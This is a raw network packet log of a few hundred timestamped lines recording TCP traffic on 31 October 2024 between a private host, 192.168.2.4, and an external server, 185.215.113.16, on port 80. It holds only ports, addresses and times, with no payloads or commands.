Oct 31, 2024 05:06:37.621393919 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621412992 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.621419907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621443987 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621459961 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621471882 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621488094 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.621495962 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621510029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621512890 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.621536970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621553898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621553898 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.621577024 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.621579885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621594906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621609926 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621619940 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.621625900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621640921 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621646881 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.621656895 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621670961 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621676922 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.621685982 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621704102 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.621709108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621723890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621738911 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621745110 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.621762037 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621773005 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.621776104 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621792078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621807098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621813059 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.621822119 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621838093 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621845007 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.621853113 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621891022 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621892929 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.621951103 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.621989012 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622004986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622031927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622046947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622061968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622066021 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.622077942 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622087002 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.622095108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622118950 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.622158051 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622188091 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622217894 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622232914 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622236967 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.622247934 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622250080 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.622262955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622283936 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.622287035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622303009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622317076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622334003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622339964 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.622349024 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622359991 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.622375011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622386932 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.622390985 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622407913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622421980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622426033 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.622442961 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622461081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622477055 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622482061 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.622492075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622499943 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.622509003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622528076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622535944 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.622543097 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622559071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622565031 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.622581959 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622597933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622612000 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622627974 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622642994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622663021 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.622665882 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622682095 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622689009 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.622697115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622698069 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.622721910 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622736931 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622752905 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.622752905 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622776985 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.622778893 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622795105 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622817039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622818947 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.622833967 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.622842073 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622857094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622862101 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.622879982 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622898102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622899055 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.622915983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622932911 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622936964 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.622956038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622971058 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622977972 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.622983932 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.622998953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.623008013 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.623023033 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.623039007 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.623061895 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.623075962 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.623090982 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.623114109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.623130083 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.623136997 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.623136997 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.623142004 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.623146057 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.623158932 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.623167992 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.623176098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.623183966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.623193026 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.623198986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.623212099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.623220921 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.623231888 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.623236895 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.623245955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.623261929 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.623310089 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.623330116 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.623330116 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.623334885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.623351097 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.623366117 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.623382092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.623389006 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.623403072 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.623406887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.623423100 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.623436928 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.623454094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.623460054 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.623471022 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.623476982 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.623476982 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.623522997 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.623899937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.623958111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.623979092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.623996019 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624001980 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.624011993 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.624021053 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624036074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624052048 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624059916 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.624098063 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.624130011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624152899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624167919 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624182940 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624192953 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.624200106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624224901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624241114 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.624241114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624265909 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.624265909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624284029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624298096 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624313116 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624320030 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.624344110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624352932 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.624361038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624376059 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624381065 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.624392033 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624408007 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624430895 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624433994 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.624448061 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.624449015 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624465942 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624480009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624488115 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.624495983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624511003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624526024 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624533892 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.624542952 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624555111 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.624557018 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624581099 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.624582052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624598980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624614000 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624619961 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.624629974 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624644995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624653101 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.624660969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624676943 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624684095 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.624721050 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624736071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624752045 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624758959 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.624768972 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624778032 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.624785900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624800920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624808073 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.624815941 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624839067 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.624840021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624856949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624871969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624895096 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624910116 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624914885 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.624924898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624942064 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.624948025 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.624950886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624955893 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624972105 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624986887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.624990940 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.625000954 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.625001907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625025034 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625039101 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625047922 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.625052929 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625073910 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625076056 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.625097990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625113010 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625127077 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625134945 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.625149965 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625158072 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.625165939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625180960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625188112 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.625196934 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625211000 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625217915 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.625226974 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625248909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625263929 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625266075 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.625279903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625287056 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.625296116 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625319004 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.625319958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625335932 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625353098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625356913 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.625370026 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625387907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625403881 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625411034 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.625420094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625431061 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.625435114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625449896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625464916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625474930 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.625489950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625499964 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.625507116 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625521898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625530005 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.625538111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625562906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625576973 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625580072 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.625597954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625601053 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.625614882 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625631094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625638008 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.625653982 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625672102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625684023 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625690937 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.625699997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625716925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625724077 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.625732899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625734091 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.625749111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625772953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625787020 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625790119 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.625806093 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625807047 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.625809908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625825882 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625844002 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625849962 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.625866890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625876904 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.625890017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625906944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625907898 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.625921965 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625937939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625953913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625958920 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.625968933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.625988960 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.625991106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626007080 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626010895 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.626034021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626049042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626055002 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.626065016 CET	80	49744	185.215.113.16	192.168.2.4
